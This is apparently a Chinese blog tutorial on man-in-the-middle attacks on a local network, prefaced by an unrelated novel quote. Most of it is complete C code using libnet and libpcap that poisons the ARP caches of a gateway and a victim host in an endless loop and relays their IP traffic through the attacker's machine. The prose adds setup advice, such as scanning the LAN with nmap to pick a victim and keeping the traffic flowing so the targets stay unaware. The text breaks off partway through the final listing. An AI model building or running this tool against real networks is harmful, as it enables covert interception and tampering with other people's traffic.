中间人攻击的原理与实现
看风云无忌一时有些迟疑。
那男子冷笑道:“你是新飞升的吧。妖魔吃人,人吃妖魔,这个道理你迟早会明白。莽莽大地,除却那植物之外,所有行走之物,均强于人类。你若是想不通,以后就和一些低等妖兽一般,去吃那树上的野果吧。”
——飞升之后 · 荧惑 风云无忌
·这是本文版本v1.1全部代码,添加了更充分的错误显示信息和使用方法:
1 #include<unistd.h> 2 #include<pcap.h> 3 #include<time.h> 4 #include<stdio.h> 5 #include<stdint.h> 6 #include<stdio.h> 7 #include<stdlib.h> 8 #include<string.h> 9 #include<unistd.h> 10 #include<libnet.h> 11 12 #define MAC_ADDR_LEN 6 13 #define IP_ADDR_LEN 4 14 15 struct ethernet_ip_hdr 16 { 17 uint8_t ether_dhost[6];/* destination ethernet address */ 18 uint8_t ether_shost[6];/* source ethernet address */ 19 uint16_t ether_type; /* protocol */ 20 uint8_t ip_ver_hdrlen; 21 uint8_t ip_tos; 22 uint16_t ip_total_len; /* total length */ 23 uint16_t ip_id; /* identification */ 24 uint16_t ip_frag; 25 uint8_t ip_ttl; /* time to live */ 26 uint8_t ip_proto; /* protocol */ 27 uint16_t ip_hdrCRC; /* checksum */ 28 uint8_t ip_src[4]; 29 uint8_t ip_dst[4]; 30 }; 31 32 struct MITM_para 33 { 34 const uint8_t * ip_A; 35 const uint8_t * mac_A; 36 const uint8_t * ip_B; 37 const uint8_t * mac_B; 38 const uint8_t * mac_M; 39 const char * BPF_filterStr; 40 const char * devMitm; 41 }; 42 43 int ForgeAndSendArp( const char * dev,const unsigned char * src_mac,const unsigned char * dst_mac, 44 const unsigned char * src_ip,const unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes 45 ) 46 { 47 static char padPtr[18]; 48 libnet_t *net_t = NULL; 49 char err_buf[LIBNET_ERRBUF_SIZE]; 50 libnet_ptag_t p_tag; 51 unsigned int i=0; 52 53 //printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip); 54 //printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip); 55 56 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); 57 if(net_t == NULL) 58 { 59 printf("libnet_init error\n"); 60 return 2; 61 } 62 63 p_tag = libnet_build_arp( 64 ARPHRD_ETHER,//hardware type ethernet 65 ETHERTYPE_IP,//protocol type 66 MAC_ADDR_LEN,//mac length 67 IP_ADDR_LEN,//protocol length 68 arpOp,//op type 69 (u_int8_t *)src_mac,//source mac addr 70 (u_int8_t *)src_ip,//source ip addr 71 (u_int8_t *)dst_mac,//dest mac addr 72 (u_int8_t *)dst_ip,//dest ip addr 73 padPtr,//payload 74 18,//payload length 75 net_t,//libnet context 76 0//0 stands to build a new one 77 ); 78 79 if(-1 == p_tag) 80 { 81 printf("libnet_build_arp error:\n"); 82 printf("ForgeAndSendArp: %s",net_t->err_buf); 83 libnet_destroy(net_t); 84 return 3; 85 } 86 87 p_tag = libnet_build_ethernet(//create ethernet header 88 (u_int8_t *)dst_mac,//dest mac addr 89 (u_int8_t *)src_mac,//source mac addr 90 ETHERTYPE_ARP,//protocol type 91 padPtr,//payload 92 0,//payload length 93 net_t,//libnet context 94 0//0 to build a new one 95 ); 96 97 if(-1 == p_tag) 98 { 99 printf("libnet_build_ethernet error!\n"); 100 printf("ForgeAndSendArp: %s",net_t->err_buf); 101 libnet_destroy(net_t); 102 return 4; 103 } 104 105 int res; 106 i=0; 107 for(;i<sendTimes;i++) 108 if(-1 == (res = libnet_write(net_t))) 109 { 110 printf("A libnet_write error!\n"); 111 printf("ForgeAndSendArp: %s",net_t->err_buf); 112 libnet_destroy(net_t); 113 return 5; 114 } 115 116 libnet_destroy(net_t); 117 return 0; 118 FAIL: 119 libnet_destroy(net_t); 120 return 6; 121 } 122 123 void ArpSpoof( 124 const uint8_t * ip_A, const uint8_t * mac_A, 125 const uint8_t * ip_B, const uint8_t * mac_B, 126 const uint8_t * mac_M, 127 const char * devMitm 128 ) 129 { 130 // 131 /* 132 arp-reply: M->A B is at M 133 arp-reply: M->B A is at M 134 */ 135 while(1) 136 { 137 usleep(500000); 138 ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 ); 139 140 usleep(500000); 141 ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 ); 142 } 143 } 144 145 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes, 146 const unsigned char * dst_mac,const unsigned char * src_mac, 147 const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength 148 ) 149 { 150 libnet_t *net_t = NULL; 151 char err_buf[LIBNET_ERRBUF_SIZE]; 152 libnet_ptag_t p_tag; 153 unsigned int i=0; 154 155 //init the libnet context structure 156 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); 157 if(net_t == NULL) 158 { 159 printf("libnet_init error\n"); 160 return 1; 161 } 162 163 //build the ethernet packet 164 p_tag = libnet_build_ethernet(//create ethernet header 165 dst_mac,//dest mac addr 166 src_mac,//source mac addr 167 protoType,//protocol type 168 padPtr,//payload 169 padLength,//payload length 170 net_t,//libnet context 171 0//0 to build a new one 172 ); 173 if(-1 == p_tag) 174 { 175 printf("libnet_build_ethernet error!\n"); 176 printf("BuildAndSendEthernetPacket: %s",net_t->err_buf); 177 goto FAIL; 178 } 179 180 for(i=0;i<sendTimes;i++) 181 if(-1 == libnet_write(net_t)) 182 { 183 printf("B libnet_write error!\n"); 184 printf("BuildAndSendEthernetPacket: %s",net_t->err_buf); 185 goto FAIL; 186 } 187 188 libnet_destroy(net_t); 189 return 0; 190 FAIL: 191 libnet_destroy(net_t); 192 return 1; 193 } 194 195 196 197 void getPacketCallBack(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet) 198 { 199 int i; 200 const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg; 201 unsigned int sendTimes=1; 202 const uint16_t etherProto=0x0800; 203 const char * dev=mitmParaPtr->devMitm; 204 const uint8_t * ether_Ahost=mitmParaPtr->mac_A; 205 const uint8_t * ether_Bhost=mitmParaPtr->mac_B; 206 const uint8_t * ether_Mhost=mitmParaPtr->mac_M; 207 const uint8_t * A_IP=mitmParaPtr->ip_A; 208 const uint8_t * B_IP=mitmParaPtr->ip_B; 209 const struct ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr * ) packet; 210 211 if ( 212 (0==memcmp(hdrPtr->ether_shost,ether_Ahost,6)) 213 //&& 214 //(0==memcmp(hdrPtr->ip_dst,B_IP,4)) 215 ) 216 { // packet: A send to B 217 printf(" :) ether src A && ip dst B\n"); 218 BuildAndSendEthernetPacket(dev,sendTimes, 219 ether_Bhost,ether_Mhost, 220 //dst_mac, src_mac, 221 etherProto,packet+14,pkthdr->len-14 222 ); 223 } 224 else if ( 225 (0==memcmp(hdrPtr->ether_shost,ether_Bhost,6)) 226 //&& 227 //(0==memcmp(hdrPtr->ip_dst,A_IP,4)) 228 ) 229 { // packet: B send to A 230 printf("ether src B && ip dst A\n"); 231 BuildAndSendEthernetPacket(dev,sendTimes, 232 ether_Ahost,ether_Mhost, 233 //dst_mac, src_mac, 234 etherProto,packet+14,pkthdr->len-14 235 ); 236 } 237 } 238 239 240 int mitm_forwarder( 241 const uint8_t * ip_A, const uint8_t * mac_A, 242 const uint8_t * ip_B, const uint8_t * mac_B, 243 const uint8_t * mac_M,const char * BPF_filterStr, 244 const char * devMitm 245 ) 246 //BPF_filterStr: ether dst mac_M and ip 247 { 248 char errBuf[PCAP_ERRBUF_SIZE], * devStr; 249 struct bpf_program filter; 250 251 struct MITM_para mitmPara; 252 253 mitmPara.ip_A=ip_A; 254 mitmPara.mac_A=mac_A; 255 256 mitmPara.ip_B=ip_B; 257 mitmPara.mac_B=mac_B; 258 259 mitmPara.mac_M=mac_M; 260 261 mitmPara.BPF_filterStr=BPF_filterStr; 262 mitmPara.devMitm=devMitm; 263 264 /* get a device */ 265 devStr = pcap_lookupdev(errBuf); 266 267 if(devStr) 268 { 269 printf("success: device: %s\n", devStr); 270 } 271 else 272 { 273 printf("error: %s\n", errBuf); 274 exit(1); 275 } 276 277 /* open a device, wait until a packet arrives */ 278 pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf); 279 280 if(!device) 281 { 282 printf("error: pcap_open_live(): %s\n", errBuf); 283 exit(1); 284 } 285 // ether dst 00:11:22:33:44:55 and ip 286 pcap_compile( device,&filter,BPF_filterStr,1,0 ); 287 pcap_setfilter(device ,&filter ); 288 /* wait loop forever */ 289 pcap_loop(device, -1, getPacketCallBack,( u_char * ) &mitmPara); 290 291 pcap_close(device); 292 293 return 0; 294 } 295 296 297 /* 298 gw kali 299 192.168.1.1 192.168.1.108 300 14:E6:E4:94:B4:D6 00:7B:05:03:8E:90 301 A B 302 303 00:11:22:33:44:55 304 M 305 被攻击者: 306 ip_A mac_A 307 ip_B mac_B 308 中间人: 309 mac_B 310 中间人所选用的网络设备: 311 devMitm : 如 "eth0" 312 中间人所用BPF过滤规则: 313 BPF_filterStr : 格式是 "ether dst 00:11:22:33:44:55 and ip " 314 其中 00:11:22:33:44:55 是中间人eth0的mac,只需要按情况替换之即可 315 建议使用形如 " nmap -sP 192.168.0.0/24 " 的命令扫描您所在的局域网,以搜集必要的信息。 316 实验时,A可选用网关,B为局域网内一普通victim主机,M为您的主机,这样会更加清晰。 317 318 */ 319 320 void main() 321 322 { 323 uint8_t ip_A[4]={172,16,0,1}; 324 uint8_t mac_A[6]={0x00,0x17,0x31,0x58,0xac,0x85}; 325 326 uint8_t ip_B[4]={172,16,31,99}; 327 uint8_t mac_B[6]={0x00,0x11,0x22,0x33,0x44,0x56}; 328 329 uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55}; 330 331 //BPF_filterStr: ether dst mac_M and ip 332 char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip "; 333 char * devMitm="eth0"; 334 335 //local 336 pid_t sonPid; 337 338 sonPid=fork(); 339 if( sonPid==-1 ) 340 {//failure 341 printf("failure:mitm fork error :( \n"); 342 } 343 else if(sonPid==0) 344 {//child 345 printf("child : pid:%d:)\n",getpid()); 346 ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 347 } 348 else 349 {//parent 350 printf("parent: pid:%d sonPid:%d :)\n",getpid(),sonPid); 351 sleep(2); 352 mitm_forwarder( 353 ip_A,mac_A, 354 ip_B,mac_B, 355 mac_M,BPF_filterStr, 356 devMitm 357 ); 358 } 359 }
下面是整篇文章的鸟瞰图:(读者应该了解局域网ARP协议,如需要,请看文章《ARP数据包伪造》)
上图便是局域网中的中间人攻击的大概思想,下面给出具体的实现方法:
(备注:右键另存为 大图较清晰)
实现"中间人"的情景,有两个关键点:
· ARP欺骗:目的是将通信双方的数据包流经中间人。
· 数据包分析、篡改与转发:维持通信双发的通信链接不至于中断,以免对方警觉,这样才能顺利进行下一步的行动。
第一步:ArpSpoof
(备注:右键另存为 大图较清晰)
ArpSpoof模块的源码如下:
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 #include <unistd.h> 5 #include <libnet.h> 6 #include <unistd.h> 7 #define MAC_ADDR_LEN 6 8 #define IP_ADDR_LEN 4 9 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, 10 unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes 11 ) 12 { 13 static char padPtr[18]; 14 libnet_t *net_t = NULL; 15 char err_buf[LIBNET_ERRBUF_SIZE]; 16 libnet_ptag_t p_tag; 17 unsigned int i=0; 18 19 printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip); 20 printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip); 21 22 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); 23 if(net_t == NULL) 24 { 25 printf("libnet_init error\n"); 26 return 2; 27 } 28 29 p_tag = libnet_build_arp( 30 ARPHRD_ETHER,//hardware type ethernet 31 ETHERTYPE_IP,//protocol type 32 MAC_ADDR_LEN,//mac length 33 IP_ADDR_LEN,//protocol length 34 arpOp,//op type 35 (u_int8_t *)src_mac,//source mac addr 36 (u_int8_t *)src_ip,//source ip addr 37 (u_int8_t *)dst_mac,//dest mac addr 38 (u_int8_t *)dst_ip,//dest ip addr 39 padPtr,//payload 40 18,//payload length 41 net_t,//libnet context 42 0//0 stands to build a new one 43 ); 44 45 if(-1 == p_tag) 46 { 47 printf("libnet_build_arp error\n"); 48 libnet_destroy(net_t); 49 return 3; 50 } 51 52 p_tag = libnet_build_ethernet(//create ethernet header 53 (u_int8_t *)dst_mac,//dest mac addr 54 (u_int8_t *)src_mac,//source mac addr 55 ETHERTYPE_ARP,//protocol type 56 padPtr,//payload 57 0,//payload length 58 net_t,//libnet context 59 0//0 to build a new one 60 ); 61 62 if(-1 == p_tag) 63 { 64 printf("libnet_build_ethernet error!\n"); 65 libnet_destroy(net_t); 66 return 4; 67 } 68 69 int res; 70 i=0; 71 for(;i<sendTimes;i++) 72 if(-1 == (res = libnet_write(net_t))) 73 { 74 printf("libnet_write error!\n"); 75 libnet_destroy(net_t); 76 return 5; 77 } 78 79 libnet_destroy(net_t); 80 return 0; 81 FAIL: 82 libnet_destroy(net_t); 83 return 6; 84 } 85 86 /* 87 88 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, 89 unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes 90 ) 91 */ 92 93 void ArpSpoof( 94 const uint8_t * ip_A, const uint8_t * mac_A, 95 const uint8_t * ip_B, const uint8_t * mac_B, 96 const uint8_t * mac_M, 97 const char * devMitm 98 ) 99 { 100 // 101 /* 102 arp-reply: M->A B is at M 103 arp-reply: M->B A is at M 104 */ 105 while(1) 106 { 107 usleep(500000); 108 ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 ); 109 110 usleep(500000); 111 ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 ); 112 } 113 /* 114 char * dev=devMitm; 115 unsigned char src_mac[6] ={ 0x11,0x11,0x11,0x11,0x11,0x11 }; 116 unsigned char dst_mac[6] ={ 0x12,0x11,0x11,0x11,0x11,0x11 }; 117 unsigned char src_ip[4]={11,22,11,11}; 118 unsigned char dst_ip[4]={11,23,11,11}; 119 printf(":)\n"); 120 printf("%s\n",src_ip_str); 121 while(1) 122 ForgeAndSendArp(dev,src_mac,dst_mac,src_ip,dst_ip,1,3 123 ); 124 */ 125 } 126 /* 127 gw kali 128 192.168.1.1 192.168.1.132 129 14:E6:E4:94:B4:D6 00:0C:29:A4:AC:26 130 A B 131 132 00:11:22:33:44:55 133 M 134 135 */ 136 void main() 137 { 138 139 uint8_t ip_A[4]={192,168,1,1}; 140 uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6}; 141 142 uint8_t ip_B[4]={192,168,1,108}; 143 uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90}; 144 145 uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55}; 146 147 char * devMitm="eth0"; 148 while(1) 149 ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 150 151 } 152 153 /* 154 void ArpSpoof( 155 const uint8_t * ip_A, const uint8_t * mac_A, 156 const uint8_t * ip_B, const uint8_t * mac_B, 157 const uint8_t * mac_M, 158 const char * devMitm 159 ) 160 */
第二步:数据包分析、转发
这里仅转发IP数据包,于是,我们以较简单的icmp-request & icmp-reply 为例:
mitm-forwarder模块的源码如下:
1 #include <pcap.h> 2 #include <time.h> 3 #include <stdlib.h> 4 #include <stdio.h> 5 #include <string.h> 6 #include <stdint.h> 7 #include <stdio.h> 8 #include <stdlib.h> 9 #include <string.h> 10 #include <unistd.h> 11 #include <libnet.h> 12 13 #define MAC_ADDR_LEN 6 14 #define IP_ADDR_LEN 4 15 16 struct ethernet_ip_hdr 17 { 18 uint8_t ether_dhost[6];/* destination ethernet address */ 19 uint8_t ether_shost[6];/* source ethernet address */ 20 uint16_t ether_type; /* protocol */ 21 uint8_t ip_ver_hdrlen; 22 uint8_t ip_tos; 23 uint16_t ip_total_len; /* total length */ 24 uint16_t ip_id; /* identification */ 25 uint16_t ip_frag; 26 uint8_t ip_ttl; /* time to live */ 27 uint8_t ip_proto; /* protocol */ 28 uint16_t ip_hdrCRC; /* checksum */ 29 uint8_t ip_src[4]; 30 uint8_t ip_dst[4]; 31 }; 32 33 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes, 34 const unsigned char * dst_mac,const unsigned char * src_mac, 35 const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength 36 ) 37 { 38 libnet_t *net_t = NULL; 39 char err_buf[LIBNET_ERRBUF_SIZE]; 40 libnet_ptag_t p_tag; 41 unsigned int i=0; 42 43 //init the libnet context structure 44 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); 45 if(net_t == NULL) 46 { 47 printf("libnet_init error\n"); 48 return 1; 49 } 50 51 //build the ethernet packet 52 p_tag = libnet_build_ethernet(//create ethernet header 53 dst_mac,//dest mac addr 54 src_mac,//source mac addr 55 protoType,//protocol type 56 padPtr,//payload 57 padLength,//payload length 58 net_t,//libnet context 59 0//0 to build a new one 60 ); 61 if(-1 == p_tag) 62 { 63 printf("libnet_build_ethernet error!\n"); 64 goto FAIL; 65 } 66 67 for(i=0;i<sendTimes;i++) 68 if(-1 == libnet_write(net_t)) 69 { 70 printf("libnet_write error!\n"); 71 goto FAIL; 72 } 73 74 libnet_destroy(net_t); 75 return 0; 76 FAIL: 77 libnet_destroy(net_t); 78 return 1; 79 } 80 81 82 struct MITM_para 83 { 84 const uint8_t * ip_A; 85 const uint8_t * mac_A; 86 const uint8_t * ip_B; 87 const uint8_t * mac_B; 88 const uint8_t * mac_M; 89 const char * BPF_filterStr; 90 const char * devMitm; 91 }; 92 93 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet) 94 { 95 int i; 96 const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg; 97 unsigned int sendTimes=1; 98 const uint16_t etherProto=0x0800; 99 const char * dev=mitmParaPtr->devMitm; 100 const uint8_t * ether_Ahost=mitmParaPtr->mac_A; 101 const uint8_t * ether_Bhost=mitmParaPtr->mac_B; 102 const uint8_t * ether_Mhost=mitmParaPtr->mac_M; 103 const uint8_t * A_IP=mitmParaPtr->ip_A; 104 const uint8_t * B_IP=mitmParaPtr->ip_B; 105 const struct ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr * ) packet; 106 107 if ( 108 (0==memcmp(hdrPtr->ether_shost,ether_Ahost,6)) 109 //&& 110 //(0==memcmp(hdrPtr->ip_dst,B_IP,4)) 111 ) 112 { // packet: A send to B 113 printf(" :) ether src A && ip dst B\n"); 114 BuildAndSendEthernetPacket(dev,sendTimes, 115 ether_Bhost,ether_Mhost, 116 //dst_mac, src_mac, 117 etherProto,packet+14,pkthdr->len-14 118 ); 119 } 120 else if ( 121 (0==memcmp(hdrPtr->ether_shost,ether_Bhost,6)) 122 //&& 123 //(0==memcmp(hdrPtr->ip_dst,A_IP,4)) 124 ) 125 { // packet: B send to A 126 printf("ether src B && ip dst A\n"); 127 BuildAndSendEthernetPacket(dev,sendTimes, 128 ether_Ahost,ether_Mhost, 129 //dst_mac, src_mac, 130 etherProto,packet+14,pkthdr->len-14 131 ); 132 } 133 134 } 135 136 137 int mitm_forwarder( 138 const uint8_t * ip_A, const uint8_t * mac_A, 139 const uint8_t * ip_B, const uint8_t * mac_B, 140 const uint8_t * mac_M,const char * BPF_filterStr, 141 const char * devMitm 142 ) 143 //BPF_filterStr: ether dst mac_M and ip 144 { 145 char errBuf[PCAP_ERRBUF_SIZE], * devStr; 146 struct bpf_program filter; 147 148 struct MITM_para mitmPara; 149 150 mitmPara.ip_A=ip_A; 151 mitmPara.mac_A=mac_A; 152 153 mitmPara.ip_B=ip_B; 154 mitmPara.mac_B=mac_B; 155 156 mitmPara.mac_M=mac_M; 157 158 mitmPara.BPF_filterStr=BPF_filterStr; 159 mitmPara.devMitm=devMitm; 160 161 /* get a device */ 162 devStr = pcap_lookupdev(errBuf); 163 164 if(devStr) 165 { 166 printf("success: device: %s\n", devStr); 167 } 168 else 169 { 170 printf("error: %s\n", errBuf); 171 exit(1); 172 } 173 174 /* open a device, wait until a packet arrives */ 175 pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf); 176 177 if(!device) 178 { 179 printf("error: pcap_open_live(): %s\n", errBuf); 180 exit(1); 181 } 182 // ether dst 00:11:22:33:44:55 and ip 183 pcap_compile( device,&filter,BPF_filterStr,1,0 ); 184 pcap_setfilter(device ,&filter ); 185 /* wait loop forever */ 186 pcap_loop(device, -1, getPacket,( u_char * ) &mitmPara); 187 188 pcap_close(device); 189 190 return 0; 191 } 192 /* 193 194 int mitm_forwarder( 195 uint8_t * ip_A,uint8_t * mac_A, 196 uint8_t * ip_B,uint8_t * mac_B, 197 uint8_t * mac_M,char * BPF_filterStr, 198 char * devMitm 199 ) 200 201 */ 202 void main() 203 { 204 205 uint8_t ip_A[4]={192,168,1,1}; 206 uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6}; 207 208 uint8_t ip_B[4]={192,168,1,108}; 209 uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90}; 210 211 uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55}; 212 213 //BPF_filterStr: ether dst mac_M and ip 214 char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip "; 215 char * devMitm="eth0"; 216 217 mitm_forwarder( 218 ip_A,mac_A, 219 ip_B,mac_B, 220 mac_M,BPF_filterStr, 221 devMitm 222 ); 223 224 }
第三步:
借助于进程的fork模型,将arpspoof与mitm-forwarder二者整合为一个接口:
1 void main() 2 3 { 4 uint8_t ip_A[4]={192,168,1,1}; 5 uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6}; 6 uint8_t ip_B[4]={192,168,1,108}; 7 uint8_t mac_B[6]={0x00,0x7B,0x05,0x03,0x8E,0x90}; 8 uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55}; 9 //BPF_filterStr: ether dst mac_M and ip 10 char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip "; 11 char * devMitm="eth0"; 12 13 //local 14 pid_t sonPid; 15 sonPid=fork(); 16 if( sonPid==-1 ) 17 {//failure 18 printf("failure:mitm fork error :( \n"); 19 } 20 else if(sonPid==0) 21 {//child 22 printf("child : pid:%d:)\n",getpid()); 23 ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 24 } 25 else 26 {//parent 27 printf("parent: pid:%d sonPid:%d :)\n",getpid(),sonPid); 28 sleep(2); 29 mitm_forwarder( 30 ip_A,mac_A, 31 ip_B,mac_B, 32 mac_M,BPF_filterStr, 33 devMitm 34 ); 35 } 36 }
如此,最终代码如下:
1 #include<unistd.h> 2 #include<pcap.h> 3 #include<time.h> 4 #include<stdio.h> 5 #include<stdint.h> 6 #include<stdio.h> 7 #include<stdlib.h> 8 #include<string.h> 9 #include<unistd.h> 10 #include<libnet.h> 11 12 #define MAC_ADDR_LEN 6 13 #define IP_ADDR_LEN 4 14 15 struct ethernet_ip_hdr 16 { 17 uint8_t ether_dhost[6];/* destination ethernet address */ 18 uint8_t ether_shost[6];/* source ethernet address */ 19 uint16_t ether_type; /* protocol */ 20 uint8_t ip_ver_hdrlen; 21 uint8_t ip_tos; 22 uint16_t ip_total_len; /* total length */ 23 uint16_t ip_id; /* identification */ 24 uint16_t ip_frag; 25 uint8_t ip_ttl; /* time to live */ 26 uint8_t ip_proto; /* protocol */ 27 uint16_t ip_hdrCRC; /* checksum */ 28 uint8_t ip_src[4]; 29 uint8_t ip_dst[4]; 30 }; 31 32 struct MITM_para 33 { 34 const uint8_t * ip_A; 35 const uint8_t * mac_A; 36 const uint8_t * ip_B; 37 const uint8_t * mac_B; 38 const uint8_t * mac_M; 39 const char * BPF_filterStr; 40 const char * devMitm; 41 }; 42 43 int ForgeAndSendArp( const char * dev,const unsigned char * src_mac,const unsigned char * dst_mac, 44 const unsigned char * src_ip,const unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes 45 ) 46 { 47 static char padPtr[18]; 48 libnet_t *net_t = NULL; 49 char err_buf[LIBNET_ERRBUF_SIZE]; 50 libnet_ptag_t p_tag; 51 unsigned int i=0; 52 53 //printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip); 54 //printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip); 55 56 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); 57 if(net_t == NULL) 58 { 59 printf("libnet_init error\n"); 60 return 2; 61 } 62 63 p_tag = libnet_build_arp( 64 ARPHRD_ETHER,//hardware type ethernet 65 ETHERTYPE_IP,//protocol type 66 MAC_ADDR_LEN,//mac length 67 IP_ADDR_LEN,//protocol length 68 arpOp,//op type 69 (u_int8_t *)src_mac,//source mac addr 70 (u_int8_t *)src_ip,//source ip addr 71 (u_int8_t *)dst_mac,//dest mac addr 72 (u_int8_t *)dst_ip,//dest ip addr 73 padPtr,//payload 74 18,//payload length 75 net_t,//libnet context 76 0//0 stands to build a new one 77 ); 78 79 if(-1 == p_tag) 80 { 81 printf("libnet_build_arp error\n"); 82 libnet_destroy(net_t); 83 return 3; 84 } 85 86 p_tag = libnet_build_ethernet(//create ethernet header 87 (u_int8_t *)dst_mac,//dest mac addr 88 (u_int8_t *)src_mac,//source mac addr 89 ETHERTYPE_ARP,//protocol type 90 padPtr,//payload 91 0,//payload length 92 net_t,//libnet context 93 0//0 to build a new one 94 ); 95 96 if(-1 == p_tag) 97 { 98 printf("libnet_build_ethernet error!\n"); 99 libnet_destroy(net_t); 100 return 4; 101 } 102 103 int res; 104 i=0; 105 for(;i<sendTimes;i++) 106 if(-1 == (res = libnet_write(net_t))) 107 { 108 printf("A libnet_write error!\n"); 109 libnet_destroy(net_t); 110 return 5; 111 } 112 113 libnet_destroy(net_t); 114 return 0; 115 FAIL: 116 libnet_destroy(net_t); 117 return 6; 118 } 119 120 void ArpSpoof( 121 const uint8_t * ip_A, const uint8_t * mac_A, 122 const uint8_t * ip_B, const uint8_t * mac_B, 123 const uint8_t * mac_M, 124 const char * devMitm 125 ) 126 { 127 // 128 /* 129 arp-reply: M->A B is at M 130 arp-reply: M->B A is at M 131 */ 132 while(1) 133 { 134 usleep(500000); 135 ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , 2, 1 ); 136 137 usleep(500000); 138 ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , 2, 1 ); 139 } 140 } 141 142 int BuildAndSendEthernetPacket(const char * dev,const unsigned int sendTimes, 143 const unsigned char * dst_mac,const unsigned char * src_mac, 144 const uint16_t protoType,const unsigned char * padPtr,const unsigned int padLength 145 ) 146 { 147 libnet_t *net_t = NULL; 148 char err_buf[LIBNET_ERRBUF_SIZE]; 149 libnet_ptag_t p_tag; 150 unsigned int i=0; 151 152 //init the libnet context structure 153 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); 154 if(net_t == NULL) 155 { 156 printf("libnet_init error\n"); 157 return 1; 158 } 159 160 //build the ethernet packet 161 p_tag = libnet_build_ethernet(//create ethernet header 162 dst_mac,//dest mac addr 163 src_mac,//source mac addr 164 protoType,//protocol type 165 padPtr,//payload 166 padLength,//payload length 167 net_t,//libnet context 168 0//0 to build a new one 169 ); 170 if(-1 == p_tag) 171 { 172 printf("libnet_build_ethernet error!\n"); 173 goto FAIL; 174 } 175 176 for(i=0;i<sendTimes;i++) 177 if(-1 == libnet_write(net_t)) 178 { 179 printf("B libnet_write error!\n"); 180 goto FAIL; 181 } 182 183 libnet_destroy(net_t); 184 return 0; 185 FAIL: 186 libnet_destroy(net_t); 187 return 1; 188 } 189 190 191 192 void getPacketCallBack(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet) 193 { 194 int i; 195 const struct MITM_para * mitmParaPtr=(const struct MITM_para * ) arg; 196 unsigned int sendTimes=1; 197 const uint16_t etherProto=0x0800; 198 const char * dev=mitmParaPtr->devMitm; 199 const uint8_t * ether_Ahost=mitmParaPtr->mac_A; 200 const uint8_t * ether_Bhost=mitmParaPtr->mac_B; 201 const uint8_t * ether_Mhost=mitmParaPtr->mac_M; 202 const uint8_t * A_IP=mitmParaPtr->ip_A; 203 const uint8_t * B_IP=mitmParaPtr->ip_B; 204 const struct ethernet_ip_hdr * hdrPtr= (const struct ethernet_ip_hdr * ) packet; 205 206 if ( 207 (0==memcmp(hdrPtr->ether_shost,ether_Ahost,6)) 208 //&& 209 //(0==memcmp(hdrPtr->ip_dst,B_IP,4)) 210 ) 211 { // packet: A send to B 212 printf(" :) ether src A && ip dst B\n"); 213 BuildAndSendEthernetPacket(dev,sendTimes, 214 ether_Bhost,ether_Mhost, 215 //dst_mac, src_mac, 216 etherProto,packet+14,pkthdr->len-14 217 ); 218 } 219 else if ( 220 (0==memcmp(hdrPtr->ether_shost,ether_Bhost,6)) 221 //&& 222 //(0==memcmp(hdrPtr->ip_dst,A_IP,4)) 223 ) 224 { // packet: B send to A 225 printf("ether src B && ip dst A\n"); 226 BuildAndSendEthernetPacket(dev,sendTimes, 227 ether_Ahost,ether_Mhost, 228 //dst_mac, src_mac, 229 etherProto,packet+14,pkthdr->len-14 230 ); 231 } 232 } 233 234 235 int mitm_forwarder( 236 const uint8_t * ip_A, const uint8_t * mac_A, 237 const uint8_t * ip_B, const 